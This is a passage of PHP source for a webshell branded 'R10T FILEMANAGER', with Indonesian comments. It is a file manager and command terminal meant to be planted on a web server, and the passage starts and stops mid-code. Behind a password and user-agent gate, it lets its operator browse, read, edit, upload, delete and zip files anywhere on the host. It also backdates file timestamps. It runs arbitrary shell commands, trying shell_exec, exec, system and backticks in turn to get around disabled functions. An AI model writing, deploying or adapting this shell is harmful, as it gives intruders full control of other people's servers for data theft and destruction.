true, 'windows' => true, 'mac' => false, 'android' => false, 'iphone' => false ]; $demo_mode = false; $login = true; // <-- GANTI NIH: false = langsung masuk, true = minta login ?> $status) { if ($status && strpos($user_agent, $agent) !== false) { $is_allowed = true; break; } } if (!$is_allowed) { die("ACCESS DENIED"); } if (isset($_POST['hacker_password'])) { if (password_verify($_POST['hacker_password'], $hashed_password)) { $_SESSION['hacker_logged_in'] = true; $_SESSION['hacker_login_time'] = time(); header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $login_error = "USE YOUR FUCKIN BRAIN HOMIES :)"; } } ?> ⚡ R10T FILEMANAGER ⚡
R10TEXEC
⚠️
FUCK YOU BITCH
MASTER PASSWORD
#
EXIT '; // Handle logout if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } // ============================================ // FILE MANAGER + WEBSHELL - COMPLETE VERSION // ============================================ // DENGAN SESSION DIRECTORY TERPISAH UNTUK FM DAN TERMINAL // ============================================ // SUPPORT WINDOWS PATH (C:\, D:\, dll) // ============================================ // ============================================ // DEMO MODE - GLOBAL SWITCH // ============================================ $demo_message = '🔒 DEMO MODE: Ini Demo Mode Mohon Pengertiannya'; error_reporting(0); @set_time_limit(0); session_start(); // Deteksi OS $isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); $directorySeparator = $isWindows ? '\\' : '/'; // Fungsi untuk normalisasi path Windows function normalizePath($path, $isWindows) { if ($isWindows) { // Ganti forward slash dengan backslash untuk Windows $path = str_replace('/', '\\', $path); // Handle drive letters (C:, D:, dll) if (preg_match('/^[a-zA-Z]:\\\\?$/', $path)) { return rtrim($path, '\\') . '\\'; } // Handle root Windows (C:\, D:\) if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) { return $path; } // Pastikan tidak ada double backslash $path = preg_replace('/\\\\+/', '\\', $path); } return $path; } // Fungsi untuk mendapatkan realpath yang support Windows function getRealPath($path, $isWindows) { if ($isWindows) { $path = normalizePath($path, $isWindows); // Handle Windows drive roots if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) { return $path; } // Coba dengan realpath $real = realpath($path); if ($real !== false) { return normalizePath($real, $isWindows); } return $path; } else { return realpath($path) ?: $path; } } // Fungsi untuk menggabungkan path dengan separator yang benar function joinPaths($base, $path, $isWindows) { if ($isWindows) { $base = rtrim($base, '\\/'); $path = ltrim($path, '\\/'); return $base . '\\' . $path; } else { $base = rtrim($base, '/'); $path = ltrim($path, '/'); return $base . '/' . $path; } } // Default directory (script directory) $scriptDir = realpath(__DIR__) ?: __DIR__; if ($isWindows) { $scriptDir = normalizePath($scriptDir, $isWindows); } // DIRECTORY UNTUK FILE MANAGER if (!isset($_SESSION['fm_current_dir']) || !is_dir($_SESSION['fm_current_dir'])) { $_SESSION['fm_current_dir'] = $scriptDir; } // DIRECTORY UNTUK TERMINAL (TERPISAH) if (!isset($_SESSION['terminal_current_dir']) || !is_dir($_SESSION['terminal_current_dir'])) { $_SESSION['terminal_current_dir'] = $scriptDir; } // Update FM directory jika ada parameter fm_dir if (isset($_GET['fm_dir'])) { $newDir = urldecode($_GET['fm_dir']); $newDir = getRealPath($newDir, $isWindows); if (is_dir($newDir)) { $_SESSION['fm_current_dir'] = $newDir; setcookie('fm_current_dir', $newDir, time() + (86400 * 30), "/"); } } // Update Terminal directory jika ada parameter terminal_dir if (isset($_GET['terminal_dir'])) { $newDir = urldecode($_GET['terminal_dir']); $newDir = getRealPath($newDir, $isWindows); if (is_dir($newDir)) { $_SESSION['terminal_current_dir'] = $newDir; setcookie('terminal_current_dir', $newDir, time() + (86400 * 30), "/"); } } function buildBreadcrumbs($dir, $isWindows) { $dir = normalizePath($dir, $isWindows); if ($isWindows) { // Windows breadcrumbs dengan HOME button $html = []; // Script directory untuk home $scriptOriginalDir = normalizePath(realpath(__DIR__) ?: __DIR__, true); // HOME button $html[] = ' '; // Drive root (C:\, D:\ etc) if (preg_match('/^([a-zA-Z]):\\\\$/', $dir, $matches)) { $html[] = '' . htmlspecialchars($dir) . ''; return implode(' ', $html); } // Split path $parts = explode('\\', trim($dir, '\\')); $driveLetter = $parts[0]; // C:, D: etc $path = ''; // Drive letter sebagai root $html[] = '' . htmlspecialchars($driveLetter) . ''; // Folder/folder selanjutnya for ($i = 1; $i < count($parts); $i++) { $path .= '\\' . $parts[$i]; $fullPath = $driveLetter . $path; $html[] = '\\'; $html[] = '' . htmlspecialchars($parts[$i]) . ''; } return implode('', $html); } else { // Linux breadcrumbs (existing code) $currentDir = realpath($dir) ?: $dir; $scriptOriginalDir = realpath(__DIR__) ?: __DIR__; $html = []; $html[] = ' '; $html[] = '/'; if ($currentDir === '/' || $currentDir === '') { return implode(' ', $html); } $parts = array_filter(explode('/', trim($currentDir, '/'))); $path = ''; $isFirst = true; foreach ($parts as $part) { $path .= '/' . $part; if (!$isFirst) { $html[] = '/'; } $html[] = '' . htmlspecialchars($part) . ''; $isFirst = false; } return implode('', $html); } } /** * Get absolute path untuk File Manager */ function getFMAbsolutePath($path, $isWindows) { $currentDir = $_SESSION['fm_current_dir'] ?? __DIR__; if ($isWindows) { $currentDir = normalizePath($currentDir, $isWindows); } if (empty($path) || $path == '.') { return getRealPath($currentDir, $isWindows) ?: $currentDir; } if ($path == '..') { $parent = dirname($currentDir); return getRealPath($parent, $isWindows) ?: $parent; } $path = urldecode($path); $path = str_replace("\0", "", $path); if ($isWindows) { // Handle absolute Windows paths if (preg_match('/^[a-zA-Z]:\\\\/', $path)) { return getRealPath($path, $isWindows); } // Relative path $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\'); return getRealPath($fullPath, $isWindows); } else { // Linux path handling (existing code) if ($path[0] !== '/') { $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/'); } $real = realpath($path); return $real ?: $path; } } /** * Get absolute path untuk Terminal (TERPISAH) */ function getTerminalAbsolutePath($path, $isWindows) { $currentDir = $_SESSION['terminal_current_dir'] ?? __DIR__; if ($isWindows) { $currentDir = normalizePath($currentDir, $isWindows); } if (empty($path) || $path == '.') { return getRealPath($currentDir, $isWindows) ?: $currentDir; } if ($path == '..') { $parent = dirname($currentDir); return getRealPath($parent, $isWindows) ?: $parent; } $path = urldecode($path); $path = str_replace("\0", "", $path); if ($isWindows) { if (preg_match('/^[a-zA-Z]:\\\\/', $path)) { return getRealPath($path, $isWindows); } $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\'); return getRealPath($fullPath, $isWindows); } else { if ($path[0] !== '/') { $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/'); } $real = realpath($path); return $real ?: $path; } } /** * Get file icon */ function getFileIcon($name, $isDir, $ext = '') { if ($isDir) return ''; if ($name === '.htaccess') return ''; if ($name === '.env') return ''; if ($name === 'Dockerfile') return ''; if ($name === 'Makefile') return ''; if ($name === 'composer.json' || $name === 'composer.lock') return ''; if ($name === 'package.json' || $name === 'package-lock.json') return ''; if ($name === 'yarn.lock') return ''; $ext = strtolower($ext); $icons = [ // Web & Code 'php' => 'fab fa-php text-purple-500', 'js' => 'fab fa-js text-yellow-400', 'ts' => 'fab fa-js text-blue-400', 'jsx' => 'fab fa-react text-cyan-400', 'tsx' => 'fab fa-react text-cyan-400', 'vue' => 'fab fa-vuejs text-green-400', 'css' => 'fab fa-css3-alt text-blue-400', 'scss|sass|less' => 'fab fa-sass text-pink-400', 'html|htm' => 'fab fa-html5 text-orange-500', 'xml|xsd|xslt' => 'fas fa-code text-blue-400', 'json' => 'fas fa-brackets-curly text-yellow-400', 'yaml|yml' => 'fas fa-code-branch text-green-400', // Languages 'py' => 'fab fa-python text-blue-300', 'rb' => 'fas fa-gem text-red-400', 'go' => 'fab fa-golang text-blue-400', 'rs' => 'fas fa-crab text-orange-400', 'c|cpp|h|hpp' => 'fas fa-microchip text-blue-400', 'java' => 'fab fa-java text-red-400', 'kt|kts' => 'fab fa-kotlin text-purple-400', 'swift' => 'fab fa-swift text-orange-400', 'sql' => 'fas fa-database text-orange-400', 'r' => 'fas fa-chart-line text-blue-400', 'lua' => 'fas fa-gamepad text-blue-400', 'pl|pm' => 'fas fa-code text-blue-400', 'ex|exs' => 'fas fa-code text-purple-400', // Config & System 'htaccess|htpasswd' => 'fas fa-shield-alt text-red-400', 'ini|conf|cfg' => 'fas fa-sliders-h text-gray-400', 'env' => 'fas fa-secret text-green-400', 'xml' => 'fas fa-code text-blue-400', 'toml' => 'fas fa-cog text-gray-400', // Images 'jpg|jpeg|png|gif|bmp|svg|webp|ico|tiff|heic' => 'fas fa-image text-green-500', // Archives 'zip|rar|7z|tar|gz|bz2|xz|tgz|zst' => 'fas fa-file-archive text-red-500', // Documents 'pdf' => 'fas fa-file-pdf text-red-400', 'doc|docx' => 'fas fa-file-word text-blue-500', 'xls|xlsx|csv' => 'fas fa-file-excel text-green-400', 'ppt|pptx' => 'fas fa-file-powerpoint text-orange-400', // Media 'mp3|wav|ogg|flac|aac|m4a' => 'fas fa-file-audio text-purple-400', 'mp4|avi|mov|mkv|wmv|flv|webm|mpeg' => 'fas fa-file-video text-purple-300', // Text & Logs 'txt|log|md|markdown' => 'fas fa-file-alt text-gray-400', 'csv' => 'fas fa-table text-green-400', // Executables & Scripts 'sh|bash|zsh|fish' => 'fas fa-terminal text-green-400', 'bat|cmd|ps1' => 'fas fa-windows text-blue-400', 'vbs' => 'fas fa-code text-blue-400', 'exe|msi' => 'fas fa-cog text-red-500', 'dll|sys|so|dylib' => 'fas fa-cogs text-red-400', 'appimage' => 'fas fa-box text-green-400', 'deb' => 'fab fa-ubuntu text-orange-400', 'rpm' => 'fab fa-redhat text-red-400', // Frameworks & Tools 'dockerfile' => 'fab fa-docker text-blue-400', 'makefile' => 'fas fa-tasks text-purple-400', 'dockerignore' => 'fab fa-docker text-gray-400', 'gitignore|gitattributes' => 'fab fa-git-alt text-orange-400', // Certificates & Keys 'pem|crt|key|cer' => 'fas fa-key text-yellow-400', 'pub' => 'fas fa-key text-blue-400', // Fonts 'ttf|otf|woff|woff2|eot' => 'fas fa-font text-gray-400', // CAD & 3D 'stl|obj|fbx|blend|3ds' => 'fas fa-cube text-blue-400', // Database 'sqlite|db' => 'fas fa-database text-green-400', 'sql' => 'fas fa-database text-orange-400', // Backup 'bak|backup' => 'fas fa-history text-gray-400' ]; foreach ($icons as $pattern => $icon) { $exts = explode('|', $pattern); if (in_array($ext, $exts)) { return ''; } } // Default icon untuk unknown file return ''; } /** * Format file size */ function formatSize($bytes) { if ($bytes == 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } /** * Change file permissions (chmod) - Windows friendly */ function changePermissions($path, $mode) { if (!file_exists($path)) return false; // Pada Windows, chmod memiliki keterbatasan if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { // Di Windows, kita hanya bisa mengubah read-only attribute if ($mode == '0444' || $mode == '444') { return @chmod($path, 0444); } else { return @chmod($path, 0666); } } if (is_string($mode) && preg_match('/^[0-7]{3,4}$/', $mode)) { $mode = octdec($mode); } return @chmod($path, $mode); } /** * Change file timestamp (touch) */ function changeTimestamp($path, $timestamp) { if (!file_exists($path)) return false; if (is_string($timestamp)) { $timestamp = strtotime($timestamp); } return @touch($path, $timestamp, $timestamp); } /** * Get upload error message */ function getUploadError($errorCode) { $errors = [ UPLOAD_ERR_OK => 'No error', UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE in form', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_FILE => 'No file uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write to disk', UPLOAD_ERR_EXTENSION => 'PHP extension stopped upload' ]; return $errors[$errorCode] ?? 'Unknown upload error'; } /** * Recursive delete function - Windows friendly */ function deleteRecursive($dir, $isWindows) { if (!file_exists($dir)) return true; if (!is_dir($dir)) { if ($isWindows) { @chmod($dir, 0666); } return @unlink($dir); } $items = @scandir($dir); if ($items === false) return false; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . '/' . $item; if ($isWindows) { $path = str_replace('/', '\\', $path); } if (is_dir($path)) { if (!deleteRecursive($path, $isWindows)) return false; } else { if ($isWindows) { @chmod($path, 0666); } if (!@unlink($path)) return false; } } if ($isWindows) { @chmod($dir, 0777); } return @rmdir($dir); } /** * Add folder recursively to zip */ function addFolderToZip($folder, &$zipFile, $zipPath) { if (!is_dir($folder)) return; $items = @scandir($folder); if ($items === false) return; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $folder . '/' . $item; $localPath = $zipPath . $item; if (is_dir($path)) { $zipFile->addEmptyDir($localPath); addFolderToZip($path, $zipFile, $localPath . '/'); } else { $zipFile->addFile($path, $localPath); } } } /** * Execute command di Windows */ function executeWindowsCommand($command, $path) { $output = ''; $return_var = 0; // Handle cd command untuk Windows if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) { $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'"); if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') { $new_dir = getenv('USERPROFILE') ?: 'C:\\'; } elseif ($new_dir === '-' || $new_dir === '..') { // Handle cd .. } else { if (!preg_match('/^[a-zA-Z]:\\\\/', $new_dir)) { $new_dir = rtrim($path, '\\') . '\\' . ltrim($new_dir, '\\'); } $new_dir = str_replace('/', '\\', $new_dir); $real = realpath($new_dir); if ($real && is_dir($real)) { return ['output' => '', 'dir' => $real, 'changed' => true]; } else { return ['output' => "cd: {$matches[1]}: No such file or directory\n", 'changed' => false]; } } } // Untuk command Windows, gunakan cmd /c if (strpos($command, 'dir') === 0) { $command = str_replace('dir', 'dir', $command); } $fullCommand = 'cmd /c "' . $command . '" 2>&1'; if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $output = @shell_exec($fullCommand); } if (empty($output) && function_exists('exec')) { $outputArray = []; @exec($fullCommand, $outputArray, $return_var); $output = implode("\n", $outputArray); } if (empty($output) && function_exists('system')) { ob_start(); @system($fullCommand, $return_var); $output = ob_get_clean(); } if (empty($output)) { $output = @`$fullCommand`; } if (trim($output) === '') { $output = "(no output)"; } return ['output' => $output, 'dir' => $path, 'changed' => false, 'return_var' => $return_var]; } // Handle API requests if (isset($_GET['action'])) { header('Content-Type: application/json'); $action = $_GET['action']; // DAFTAR ACTION YANG DIBLOCK DI DEMO MODE $write_actions = [ 'download', 'view', 'save', 'delete', 'deletemultiple', 'rename', 'mkdir', 'touch', 'chmod', 'touchdate', 'upload', 'zip', 'unzip', 'execute', 'getinfo', 'move', 'copy' ]; // CEK DEMO MODE if ($demo_mode && in_array($action, $write_actions)) { echo json_encode([ 'error' => $demo_message, 'demo_mode' => true ]); exit; } switch ($action) { // LIST DIRECTORY (FILE MANAGER) case 'list': $dir = $_GET['dir'] ?? $_SESSION['fm_current_dir']; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { echo json_encode(['error' => 'Invalid directory']); exit; } // Update FM session $_SESSION['fm_current_dir'] = $path; setcookie('fm_current_dir', $path, time() + (86400 * 30), "/"); $files = @scandir($path); if ($files === false) { echo json_encode(['error' => 'Cannot scan directory']); exit; } $items = []; // Parent directory if ($path != '/' && dirname($path) != $path) { $parent = dirname($path); if ($isWindows) { $parent = normalizePath($parent, $isWindows); } $items[] = [ 'name' => '..', 'path' => $parent, 'type' => 'dir', 'size' => 0, 'size_fmt' => '-', 'modified' => @filemtime($parent) ?: time(), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($parent)), -4), 'icon' => '', 'writable' => @is_writable($parent) ]; } foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $fullPath = $path . ($isWindows ? '\\' : '/') . $file; $isDir = @is_dir($fullPath); $size = $isDir ? 0 : (@filesize($fullPath) ?: 0); $ext = $isDir ? '' : strtolower(pathinfo($file, PATHINFO_EXTENSION)); $items[] = [ 'name' => $file, 'path' => $fullPath, 'type' => $isDir ? 'dir' : 'file', 'size' => $size, 'size_fmt' => $isDir ? '-' : formatSize($size), 'modified' => @filemtime($fullPath) ?: time(), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($fullPath)), -4), 'icon' => getFileIcon($file, $isDir, $ext), 'ext' => $ext, 'writable' => @is_writable($fullPath) ]; } // Sort usort($items, function($a, $b) { if ($a['name'] == '..') return -1; if ($b['name'] == '..') return 1; if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']); return $a['type'] == 'dir' ? -1 : 1; }); // Disk info $total = @disk_total_space($path); $free = @disk_free_space($path); $used = $total ? $total - $free : 0; $percent = $total ? round(($used / $total) * 100, 2) : 0; echo json_encode([ 'success' => true, 'path' => $path, 'breadcrumbs' => buildBreadcrumbs($path, $isWindows), 'files' => $items, 'disk' => [ 'total' => $total ? formatSize($total) : 'N/A', 'used' => $total ? formatSize($used) : 'N/A', 'free' => $free ? formatSize($free) : 'N/A', 'percent' => $percent ] ]); break; // DOWNLOAD FILE case 'download': $file = $_GET['file'] ?? ''; $path = getFMAbsolutePath($file, $isWindows); if (!$path || !is_file($path)) { header('HTTP/1.1 404 Not Found'); exit; } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Length: ' . filesize($path)); readfile($path); exit; // VIEW FILE case 'view': $file = $_GET['file'] ?? ''; $raw = isset($_GET['raw']) && $_GET['raw'] == '1'; $path = getFMAbsolutePath($file, $isWindows); if (!$path || !is_file($path)) { echo json_encode(['error' => 'File not found']); exit; } $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $size = filesize($path); $isText = false; $content = ''; $isBinary = false; // Text extensions $textExts = [ 'txt', 'php', 'js', 'css', 'html', 'htm', 'json', 'xml', 'yml', 'yaml', 'md', 'sql', 'log', 'sh', 'bash', 'zsh', 'fish', 'py', 'rb', 'go', 'rs', 'c', 'cpp', 'h', 'hpp', 'java', 'kt', 'kts', 'swift', 'pl', 'pm', 'lua', 'env', 'htaccess', 'htpasswd', 'ini', 'conf', 'cfg', 'toml', 'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'csv', 'ts', 'tsx', 'jsx', 'vue', 'scss', 'sass', 'less', 'bat', 'cmd', 'ps1', 'vbs', 'r', 'sqlite', 'db', 'css', 'js', 'xml', 'svg', 'map' ]; // Image extensions $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico', 'tiff', 'heic']; // Check if text file if (in_array($ext, $textExts) || $raw) { $isText = true; if ($size > 50 * 1024 * 1024) { // Max 50MB untuk edit $content = "// File too large (" . formatSize($size) . ")\n// Max editable size: 50MB\n// Use download to get full file"; } else { $content = @file_get_contents($path); if ($content === false) { $content = "// Failed to read file content"; } elseif (empty($content)) { $content = ""; } // Untuk binary file yang dibuka sebagai raw, kita tetap tampilkan as-is // Tapi akan di-escape di frontend } } // Check if image elseif (in_array($ext, $imageExts)) { $isText = false; $isBinary = false; } // Binary file - bisa dibuka sebagai raw text else { $isBinary = true; $isText = true; // Kita treat sebagai text untuk editing raw if ($size > 10 * 1024 * 1024) { // Max 10MB untuk binary edit $content = "// Binary file too large (" . formatSize($size) . ")\n// Max editable size: 10MB\n// Use download to get full file\n\n"; $content .= "// File info:\n"; $content .= "// Name: " . basename($path) . "\n"; $content .= "// Size: " . formatSize($size) . "\n"; $content .= "// Extension: .$ext\n"; $content .= "// Type: Binary file - EDIT AT YOUR OWN RISK!\n\n"; $content .= "// WARNING: Editing binary files can corrupt them!\n"; $content .= "// Only edit if you know what you're doing.\n\n"; $content .= "// Use the Download button to get the original file"; } else { $fileContent = @file_get_contents($path); if ($fileContent !== false) { // Tampilkan raw content untuk binary file (bisa di-edit) $content = $fileContent; } else { $content = "// Cannot read binary file content\n// Use Download button to get the file"; } } } echo json_encode([ 'success' => true, 'path' => $path, 'name' => basename($path), 'is_text' => $isText, 'is_image' => in_array($ext, $imageExts), 'is_binary' => $isBinary, 'size' => formatSize($size), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4), 'modified' => filemtime($path), 'content' => $content, 'ext' => $ext, 'can_edit' => true // Semua file bisa diedit ]); break; // SAVE FILE case 'save': $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; $path = getFMAbsolutePath($file, $isWindows); if (!$path) { echo json_encode(['error' => 'Invalid path']); exit; } if (@file_put_contents($path, $content) !== false) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Failed to save']); } break; // DELETE (SINGLE FILE/FOLDER) case 'delete': $target = $_POST['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path) { echo json_encode(['error' => 'Invalid path']); exit; } $success = false; if (is_file($path)) { if ($isWindows) { @chmod($path, 0666); } $success = @unlink($path); } elseif (is_dir($path)) { $success = deleteRecursive($path, $isWindows); } if ($success) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Delete failed']); } break; // DELETE MULTIPLE case 'deletemultiple': $targets = isset($_POST['paths']) ? json_decode($_POST['paths'], true) : []; if (empty($targets)) { echo json_encode(['error' => 'No files selected']); exit; } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($targets as $target) { $path = getFMAbsolutePath($target, $isWindows); if (!$path) { $results['failed']++; $results['errors'][] = "Invalid path: $target"; continue; } if (is_file($path)) { if ($isWindows) { @chmod($path, 0666); } if (@unlink($path)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to delete: " . basename($path); } } elseif (is_dir($path)) { if (deleteRecursive($path, $isWindows)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to delete folder: " . basename($path); } } } echo json_encode([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Deleted {$results['success']} items" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : "") ]); break; // RENAME case 'rename': $old = $_POST['old'] ?? ''; $new = $_POST['new'] ?? ''; $oldPath = getFMAbsolutePath($old, $isWindows); $dir = dirname($oldPath); $newPath = $dir . ($isWindows ? '\\' : '/') . $new; if (!$oldPath || file_exists($newPath)) { echo json_encode(['error' => 'Invalid path or name exists']); exit; } if (@rename($oldPath, $newPath)) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Rename failed']); } break; // CREATE FOLDER case 'mkdir': $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); $newPath = $path . ($isWindows ? '\\' : '/') . $name; if (!$path || file_exists($newPath)) { echo json_encode(['error' => 'Invalid path or exists']); exit; } if (@mkdir($newPath, 0755)) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Create failed']); } break; // CREATE FILE (TOUCH) case 'touch': $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); $newPath = $path . ($isWindows ? '\\' : '/') . $name; if (!$path || file_exists($newPath)) { echo json_encode(['error' => 'Invalid path or file exists']); exit; } if (@touch($newPath)) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Create failed']); } break; // CHANGE PERMISSIONS (CHMOD) case 'chmod': $target = $_POST['path'] ?? ''; $mode = $_POST['mode'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { echo json_encode(['error' => 'Invalid path']); exit; } if (changePermissions($path, $mode)) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Change permissions failed']); } break; // CHANGE TIMESTAMP (TOUCH DATE) case 'touchdate': $target = $_POST['path'] ?? ''; $date = $_POST['date'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { echo json_encode(['error' => 'Invalid path']); exit; } if (changeTimestamp($path, $date)) { echo json_encode(['success' => true]); } else { echo json_encode(['error' => 'Change timestamp failed']); } break; // UPLOAD - SUPPORT MULTIPLE FILES case 'upload': $dir = $_POST['dir'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { echo json_encode(['error' => 'Invalid directory']); exit; } if (!isset($_FILES['file'])) { echo json_encode(['error' => 'No file uploaded']); exit; } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [], 'uploaded' => [] ]; $files = $_FILES['file']; if (!is_array($files['name'])) { $files = [ 'name' => [$files['name']], 'type' => [$files['type']], 'tmp_name' => [$files['tmp_name']], 'error' => [$files['error']], 'size' => [$files['size']] ]; } $fileCount = count($files['name']); for ($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $fileTmp = $files['tmp_name'][$i]; $fileError = $files['error'][$i]; $fileSize = $files['size'][$i]; if ($fileError !== UPLOAD_ERR_OK) { $results['failed']++; $errorMsg = getUploadError($fileError); $results['errors'][] = "{$fileName}: {$errorMsg}"; continue; } $maxSize = 100 * 1024 * 1024; if ($fileSize > $maxSize) { $results['failed']++; $results['errors'][] = "{$fileName}: File too large (max 100MB)"; continue; } $safeFileName = preg_replace('/[^\w\.\-]/', '_', $fileName); $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName; $counter = 1; $originalName = $safeFileName; while (file_exists($dest)) { $info = pathinfo($originalName); $safeFileName = $info['filename'] . '_' . $counter . '.' . ($info['extension'] ?? ''); $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName; $counter++; } if (@move_uploaded_file($fileTmp, $dest)) { $results['success']++; $results['uploaded'][] = $safeFileName; @chmod($dest, 0644); } else { $results['failed']++; $results['errors'][] = "Failed to upload '{$fileName}'"; } } if ($results['success'] > 0) { echo json_encode([ 'success' => true, 'message' => "Uploaded {$results['success']} file(s)" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : ""), 'results' => $results ]); } else { echo json_encode([ 'error' => 'Upload failed: ' . implode(', ', array_slice($results['errors'], 0, 3)), 'results' => $results ]); } break; // ZIP case 'zip': $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : []; $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? 'archive.zip'; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { echo json_encode(['error' => 'Invalid directory']); exit; } if (!class_exists('ZipArchive')) { echo json_encode(['error' => 'ZipArchive not available']); exit; } $zipPath = $path . ($isWindows ? '\\' : '/') . $name; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { echo json_encode(['error' => 'Cannot create zip']); exit; } foreach ($targets as $target) { $absPath = getFMAbsolutePath($target, $isWindows); if (!$absPath) continue; if (is_file($absPath)) { $zip->addFile($absPath, basename($absPath)); } elseif (is_dir($absPath)) { $zip->addEmptyDir(basename($absPath)); addFolderToZip($absPath, $zip, basename($absPath) . '/'); } } $zip->close(); echo json_encode(['success' => true, 'archive' => $name]); break; // MOVE FILES/FOLDERS case 'move': $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : []; $destination = $_POST['destination'] ?? ''; if (empty($sources)) { echo json_encode(['error' => 'No sources specified']); exit; } $destPath = getFMAbsolutePath($destination, $isWindows); if (!$destPath || !is_dir($destPath)) { echo json_encode(['error' => 'Destination is not a valid directory']); exit; } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($sources as $source) { $srcPath = getFMAbsolutePath($source, $isWindows); if (!$srcPath) { $results['failed']++; $results['errors'][] = "Invalid source: $source"; continue; } $baseName = basename($srcPath); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName; // Handle conflict - add number if exists $counter = 1; $originalDest = $destFullPath; while (file_exists($destFullPath)) { $info = pathinfo($originalDest); $newName = $info['filename'] . '_' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : ''); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName; $counter++; } if (@rename($srcPath, $destFullPath)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to move: $baseName"; } } echo json_encode([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Moved {$results['success']} item(s)" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : "") ]); break; // COPY FILES/FOLDERS case 'copy': $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : []; $destination = $_POST['destination'] ?? ''; if (empty($sources)) { echo json_encode(['error' => 'No sources specified']); exit; } $destPath = getFMAbsolutePath($destination, $isWindows); if (!$destPath || !is_dir($destPath)) { echo json_encode(['error' => 'Destination is not a valid directory']); exit; } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($sources as $source) { $srcPath = getFMAbsolutePath($source, $isWindows); if (!$srcPath) { $results['failed']++; $results['errors'][] = "Invalid source: $source"; continue; } $baseName = basename($srcPath); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName; // Handle conflict - add number if exists $counter = 1; $originalDest = $destFullPath; while (file_exists($destFullPath)) { $info = pathinfo($originalDest); $newName = $info['filename'] . '_copy' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : ''); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName; $counter++; } if (is_file($srcPath)) { if (@copy($srcPath, $destFullPath)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to copy file: $baseName"; } } elseif (is_dir($srcPath)) { if (copyDirectory($srcPath, $destFullPath, $isWindows)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to copy folder: $baseName"; } } } echo json_encode([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Copied {$results['success']} item(s)" . ($results['failed'] > 0 ? ", 